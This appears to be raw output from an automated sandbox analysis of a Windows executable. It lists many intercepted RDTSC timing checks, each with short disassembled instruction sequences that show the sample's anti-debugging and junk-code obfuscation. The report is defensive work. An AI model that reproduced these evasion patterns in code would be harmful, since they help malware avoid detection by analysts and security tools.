Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B679DB second address: B679E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B679E1 second address: B679E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9036E second address: B90378 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBDC110A216h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B90378 second address: B90395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 je 00007FBDC0E80B8Dh 0x0000000d pushad 0x0000000e jmp 00007FBDC0E80B7Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B90627 second address: B9062C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9062C second address: B90641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jc 00007FBDC0E80B76h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007FBDC0E80B76h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B907AF second address: B907B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B907B3 second address: B907BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B907BD second address: B907C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B907C1 second address: B907CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B907CD second address: B907D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B90A7C second address: B90A96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBDC0E80B84h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B90A96 second address: B90A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B90A9F second address: B90AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B91027 second address: B9103F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jp 00007FBDC110A216h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9103F second address: B9105D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FBDC0E80B80h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007FBDC0E80B78h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9105D second address: B9107D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A228h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B873EE second address: B873F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B873F4 second address: B87417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FBDC110A216h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBDC110A226h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B87417 second address: B8741B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B60DAD second address: B60DB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B60DB1 second address: B60DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jnp 00007FBDC0E80B76h 0x0000000d jmp 00007FBDC0E80B85h 0x00000012 pop edx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 jnp 00007FBDC0E80B76h 0x0000001d pop ecx 0x0000001e pushad 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B60DE4 second address: B60DEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B91564 second address: B9157E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBDC0E80B7Bh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jne 00007FBDC0E80B7Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B91D89 second address: B91DA1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007FBDC110A218h 0x0000000e pushad 0x0000000f popad 0x00000010 jo 00007FBDC110A222h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B91DA1 second address: B91DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B945F0 second address: B945FA instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBDC110A222h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B945FA second address: B94600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9A194 second address: B9A198 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9D5FE second address: B9D625 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B7Bh 0x00000007 jbe 00007FBDC0E80B76h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jno 00007FBDC0E80B82h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9D625 second address: B9D638 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBDC110A21Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9CA9E second address: B9CABB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBDC0E80B89h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9CBFA second address: B9CBFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9CBFE second address: B9CC04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9CC04 second address: B9CC1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBDC110A21Eh 0x00000009 je 00007FBDC110A216h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9CC1C second address: B9CC20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9CC20 second address: B9CC26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9CD84 second address: B9CDA3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007FBDC0E80B76h 0x00000009 jo 00007FBDC0E80B76h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBDC0E80B7Bh 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9CDA3 second address: B9CDB8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBDC110A216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007FBDC110A220h 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9D319 second address: B9D326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FBDC0E80B76h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9D48F second address: B9D493 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9F25A second address: B9F260 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9F260 second address: B9F264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9F264 second address: B9F285 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007FBDC0E80B86h 0x00000011 jmp 00007FBDC0E80B80h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9F285 second address: B9F28A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9F3C2 second address: B9F3CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FBDC0E80B76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9F4C8 second address: B9F4D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A21Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9FC14 second address: B9FC26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FBDC0E80B7Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9FEE4 second address: B9FEE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B9FEE8 second address: B9FEFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBDC0E80B7Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA0212 second address: BA0217 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA107A second address: BA1086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FBDC0E80B7Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA1086 second address: BA10AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007FBDC110A21Eh 0x0000000d jnl 00007FBDC110A216h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 js 00007FBDC110A216h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA10AB second address: BA10AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA2BE5 second address: BA2C42 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jno 00007FBDC110A216h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jns 00007FBDC110A22Eh 0x00000013 nop 0x00000014 cld 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007FBDC110A218h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 mov esi, dword ptr [ebp+122D372Fh] 0x00000037 push 00000000h 0x00000039 mov edi, ebx 0x0000003b push eax 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA2C42 second address: BA2C46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA37EF second address: BA37F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA37F3 second address: BA3897 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FBDC0E80B78h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 jmp 00007FBDC0E80B7Fh 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ecx 0x00000031 call 00007FBDC0E80B78h 0x00000036 pop ecx 0x00000037 mov dword ptr [esp+04h], ecx 0x0000003b add dword ptr [esp+04h], 0000001Ah 0x00000043 inc ecx 0x00000044 push ecx 0x00000045 ret 0x00000046 pop ecx 0x00000047 ret 0x00000048 call 00007FBDC0E80B7Fh 0x0000004d pop edi 0x0000004e sub dword ptr [ebp+1246EF03h], ebx 0x00000054 push 00000000h 0x00000056 sub dword ptr [ebp+122D2809h], edx 0x0000005c xchg eax, ebx 0x0000005d push ebx 0x0000005e jnc 00007FBDC0E80B82h 0x00000064 pop ebx 0x00000065 push eax 0x00000066 pushad 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA3897 second address: BA389B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA4026 second address: BA402A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA4BB2 second address: BA4BB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA402A second address: BA4034 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBDC0E80B76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA4034 second address: BA403A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA58C7 second address: BA58CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA403A second address: BA403E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA58CD second address: BA58D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA58D1 second address: BA594F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007FBDC110A223h 0x00000010 jmp 00007FBDC110A225h 0x00000015 popad 0x00000016 jmp 00007FBDC110A226h 0x0000001b popad 0x0000001c nop 0x0000001d sbb edi, 20DADA43h 0x00000023 movzx edi, dx 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push ebp 0x0000002b call 00007FBDC110A218h 0x00000030 pop ebp 0x00000031 mov dword ptr [esp+04h], ebp 0x00000035 add dword ptr [esp+04h], 00000016h 0x0000003d inc ebp 0x0000003e push ebp 0x0000003f ret 0x00000040 pop ebp 0x00000041 ret 0x00000042 push 00000000h 0x00000044 cld 0x00000045 push eax 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BAC26F second address: BAC275 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BAB520 second address: BAB524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BAC275 second address: BAC27A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BAA5B9 second address: BAA5BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BAB524 second address: BAB528 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BAB528 second address: BAB541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBDC110A221h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BAB541 second address: BAB545 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BAB545 second address: BAB5DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ebx, dword ptr [ebp+122D37FFh] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov dword ptr fs:[00000000h], esp 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007FBDC110A218h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 0000001Ah 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 mov bx, di 0x0000003b mov eax, dword ptr [ebp+122D0445h] 0x00000041 xor dword ptr [ebp+122D31E4h], ebx 0x00000047 push FFFFFFFFh 0x00000049 push 00000000h 0x0000004b push edx 0x0000004c call 00007FBDC110A218h 0x00000051 pop edx 0x00000052 mov dword ptr [esp+04h], edx 0x00000056 add dword ptr [esp+04h], 0000001Ah 0x0000005e inc edx 0x0000005f push edx 0x00000060 ret 0x00000061 pop edx 0x00000062 ret 0x00000063 nop 0x00000064 jbe 00007FBDC110A21Eh 0x0000006a ja 00007FBDC110A218h 0x00000070 push eax 0x00000071 push eax 0x00000072 push edx 0x00000073 jg 00007FBDC110A222h 0x00000079 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BAB5DC second address: BAB5E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BAD59E second address: BAD5BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jnp 00007FBDC110A21Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007FBDC110A216h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BAE471 second address: BAE4CC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007FBDC0E80B86h 0x0000000e push 00000000h 0x00000010 mov edi, 06DDD775h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007FBDC0E80B78h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D1990h], eax 0x00000037 push ecx 0x00000038 sub dword ptr [ebp+122D2F3Dh], edi 0x0000003e pop ebx 0x0000003f push eax 0x00000040 pushad 0x00000041 pushad 0x00000042 pushad 0x00000043 popad 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BAF460 second address: BAF46A instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBDC110A21Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BAF46A second address: BAF4E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007FBDC0E80B78h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 00000016h 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 jmp 00007FBDC0E80B83h 0x00000026 push 00000000h 0x00000028 mov dword ptr [ebp+122D2A38h], ebx 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007FBDC0E80B78h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 00000014h 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a mov di, 77CBh 0x0000004e xchg eax, esi 0x0000004f jng 00007FBDC0E80B7Eh 0x00000055 jp 00007FBDC0E80B78h 0x0000005b push esi 0x0000005c pop esi 0x0000005d push eax 0x0000005e pushad 0x0000005f pushad 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BAE623 second address: BAE62C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
